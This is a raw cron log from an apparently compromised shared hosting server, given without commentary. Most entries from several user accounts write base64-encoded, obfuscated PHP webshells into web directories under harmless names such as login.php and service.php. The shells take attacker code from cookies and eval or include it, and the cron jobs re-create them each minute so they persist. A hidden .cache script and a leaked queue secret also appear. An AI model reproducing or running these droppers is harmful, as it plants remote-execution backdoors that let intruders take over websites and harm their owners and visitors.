Jun  7 10:31:01 medusa CROND[25737]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:31:01 medusa CROND[25738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:31:01 medusa CROND[25740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:31:01 medusa CROND[25739]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:31:01 medusa CROND[25743]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:31:01 medusa CROND[25744]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:31:01 medusa CROND[25741]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:31:01 medusa CROND[25749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:31:01 medusa CROND[25745]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:32:01 medusa CROND[27368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:32:01 medusa CROND[27379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:32:01 medusa CROND[27380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:32:01 medusa CROND[27382]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:32:01 medusa CROND[27383]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:32:01 medusa CROND[27384]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:32:01 medusa CROND[27385]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:32:01 medusa CROND[27386]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:32:01 medusa CROND[27387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:32:01 medusa CROND[27388]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:32:01 medusa CROND[27390]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:32:01 medusa CROND[27391]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:32:01 medusa CROND[27392]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:33:02 medusa CROND[29094]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:33:02 medusa CROND[29095]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:33:02 medusa CROND[29096]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:33:02 medusa CROND[29097]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:33:02 medusa CROND[29098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:33:02 medusa CROND[29099]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
